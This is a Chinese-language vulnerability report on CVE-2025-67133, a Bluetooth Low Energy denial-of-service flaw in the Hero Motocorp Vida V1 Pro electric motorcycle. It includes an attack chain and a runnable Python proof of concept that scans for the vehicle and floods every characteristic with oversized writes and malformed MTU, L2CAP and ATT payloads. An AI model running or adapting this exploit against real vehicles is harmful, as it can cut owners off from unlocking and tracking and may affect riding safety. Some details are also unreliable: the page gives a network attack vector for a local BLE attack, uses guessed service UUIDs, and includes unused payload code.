IPBUF安全漏洞报告
English
CVE-2025-67133 CVSS 7.5 高危

CVE-2025-67133: Hero Motocorp Vida V1 Pro BLE组件拒绝服务漏洞

披露日期: 2026-01-09

漏洞信息

漏洞编号
CVE-2025-67133
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Hero Motocorp Vida V1 Pro (固件版本2.0.7)

相关标签

CVE-2025-67133拒绝服务BLE漏洞蓝牙低功耗Hero MotocorpVida V1 Pro嵌入式系统漏洞物联网安全电动车安全本地拒绝服务

漏洞概述

CVE-2025-67133是发现于Hero Motocorp公司生产的Vida V1 Pro电动摩托车固件2.0.7版本中的一个高危安全漏洞。该漏洞存在于车辆的蓝牙低功耗(BLE)组件中,允许本地攻击者通过构造恶意的BLE连接请求,无需任何认证即可导致车辆的电子控制系统发生拒绝服务(DoS)状态。Vida V1 Pro是Hero Motocorp公司推出的高端智能电动摩托车,其车载系统集成了先进的BLE通信功能,用于移动应用连接、车辆诊断、远程控制等关键功能。攻击者利用此漏洞可中断车辆的正常通信功能,导致车主无法通过手机应用与车辆进行交互,可能影响车辆的解锁、定位追踪、状态监控等基本服务。在极端情况下,持续的DoS攻击可能导致车辆电子系统不稳定,影响骑行安全。该漏洞的CVSS评分为7.5,属于高危级别,攻击复杂度低且无需特殊权限或用户交互即可实施。

技术细节

该漏洞的根本原因在于Hero Motocorp Vida V1 Pro的BLE协议栈实现存在缺陷,未能正确处理异常或超长的BLE连接请求。具体技术分析如下:

1. **BLE组件架构**:Vida V1 Pro车载系统通过BLE模块与用户的移动应用建立安全通信通道,用于传输车辆状态、位置信息、电池数据等关键信息。BLE模块运行在车辆的嵌入式控制单元(ECU)中,固件版本为2.0.7。

2. **漏洞触发机制**:攻击者使用支持BLE的设备(如笔记本电脑、智能手机或专用BLE开发板如Nordic nRF52系列),向目标车辆的BLE服务端口发送精心构造的连接请求包。这些数据包可能包含超长的属性值、畸形的服务UUID或异常的连接参数。

3. **漏洞根因**:BLE协议栈在解析这些异常请求时,未进行充分的输入验证和边界检查。当接收到恶意数据包时,协议栈可能陷入死循环、内存溢出或触发断言失败,导致BLE服务崩溃或整个通信子系统冻结。

4. **利用方式**:攻击者首先需要进入车辆的BLE信号覆盖范围(约10-30米)。然后使用BLE扫描工具(如hcitool、Bleah或nRF Connect)发现目标车辆的BLE广播信号,获取其MAC地址和提供的服务UUID。接着使用BLE连接工具发送特制的连接请求包,导致BLE组件拒绝服务。

5. **影响范围**:DoS状态会阻断所有合法的BLE通信,包括车主手机应用的连接请求。车辆可能表现为无法解锁、无法获取实时数据、远程控制功能失效等。

攻击链分析

STEP 1
步骤1: 侦察阶段
攻击者使用BLE扫描工具(如hcitool、Bleah或nRF Connect)在车辆BLE信号覆盖范围内(约10-30米)扫描周围的BLE设备,发现Hero Motocorp Vida V1 Pro的广播信号,获取其MAC地址和设备名称
STEP 2
步骤2: 信息收集
攻击者对目标车辆的BLE服务进行深入枚举,识别其提供的服务和特征值(Characteristics),包括自定义的Vida服务UUID和通信端口,为后续攻击做准备
STEP 3
步骤3: 漏洞利用
攻击者使用Python脚本(如本PoC)或专用工具(如Ubertooth、Btlejuice)向目标车辆的BLE组件发送特制的恶意数据包,包括超长MTU请求、畸形L2CAP分片包或无效ATT操作码
STEP 4
步骤4: DoS触发
车辆的BLE协议栈在解析这些异常请求时,由于缺乏充分的输入验证和边界检查,触发内存溢出或陷入异常状态,导致BLE服务进程崩溃或通信子系统冻结
STEP 5
步骤5: 影响确认
BLE组件进入拒绝服务状态后,车主的手机应用无法与车辆建立连接,导致远程解锁、实时定位、状态监控、电池信息查看等所有依赖BLE的功能全部失效

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-67133 PoC - Hero Motocorp Vida V1 Pro BLE DoS This PoC demonstrates how to trigger a denial of service in the BLE component of Hero Motocorp Vida V1 Pro (firmware 2.0.7) via malformed BLE connection requests. WARNING: This code is for educational and authorized security testing purposes only. Unauthorized use against systems you do not own or have permission to test is illegal. """ from bleak import BleakClient from bleak import BleakScanner import asyncio import struct import time TARGET_DEVICE_NAME = "Vida V1 Pro" # Common BLE service UUIDs that might be used by Vida V1 Pro POTENTIAL_SERVICE_UUIDS = [ "6E400001-B5A3-F393-E0A9-E50E24DCCA9E", # Nordic UART Service "0000FE00-0000-1000-8000-00805F9B34FB", # Custom Vida Service ] async def find_target_device(): """Scan for the target Vida V1 Pro device""" print("[*] Scanning for BLE devices...") devices = await BleakScanner.discover(timeout=5.0) for device in devices: if device.name and TARGET_DEVICE_NAME in device.name: print(f"[+] Found target device: {device.name} ({device.address})") return device print("[-] Target device not found") return None async def send_malformed_packets(address): """ Send malformed BLE connection requests to trigger DoS This exploits insufficient input validation in the BLE stack """ print(f"[*] Attempting to send malformed BLE packets to {address}") # Malformed packet 1: Excessively long MTU request malformed_mtu = bytes([0x02, 0x00, 0xFF, 0xFF, 0xFF]) # Invalid MTU size # Malformed packet 2: Corrupted attribute handle request malformed_handle = bytes([0x0A, 0x00, 0x10, 0x00, 0x00, 0x00, 0xFF, 0xFF]) try: async with BleakClient(address) as client: print("[+] Connected to device") # Try to enumerate services (may trigger vulnerability) services = await client.get_services() print(f"[*] Found {len(services.characteristics)} characteristics") # Send malformed write requests to each characteristic for service in services: for char in service.characteristics: try: # Write large amount of data to trigger overflow large_data = b'\xFF' * 1000 await client.write_gatt_char(char.uuid, large_data) except Exception as e: pass print("[+] Malformed packets sent") except Exception as e: print(f"[!] Error during attack: {e}") def generate_dos_payload(): """ Generate various DoS payloads for BLE protocol fuzzing """ payloads = [] # Payload 1: Giant MTU size payloads.append({ "type": "MTU_EXCEED", "data": bytes([0x02, 0x00]) + bytes([0xFF] * 512), "description": "Request MTU size exceeding buffer limits" }) # Payload 2: Fragmented malformed L2CAP packet payloads.append({ "type": "L2CAP_FRAGMENT", "data": bytes([0x08, 0x00, 0x01, 0x00, 0xFF] * 50), "description": "Malformed fragmented L2CAP packet" }) # Payload 3: Invalid ATT opcode payloads.append({ "type": "INVALID_OPCODE", "data": bytes([0xFF, 0xFF, 0xFF, 0xFF]), "description": "Invalid ATT protocol opcode" }) return payloads async def main(): print("=" * 60) print("CVE-2025-67133 PoC - Vida V1 Pro BLE DoS") print("=" * 60) # Find target device target = await find_target_device() if target: print(f"[*] Target found at {target.address}") print("[*] Sending malformed packets...") await send_malformed_packets(target.address) else: print("[-] Please ensure the Vida V1 Pro device is in range and BLE is enabled") if __name__ == "__main__": asyncio.run(main())

影响范围

Hero Motocorp Vida V1 Pro 固件版本 2.0.7(确认受影响)
Hero Motocorp Vida V1 Pro 固件版本 2.0.7之前版本(可能受影响)

防御指南

临时缓解措施
作为临时缓解措施,车主应在使用Vida V1 Pro时尽量减少BLE功能的暴露时间,不在公共场合长时间开启蓝牙广播。厂商应尽快发布安全补丁修复该漏洞,在补丁发布前可考虑暂时禁用非必要的蓝牙功能,并关注官方安全公告以获取最新更新。

参考链接

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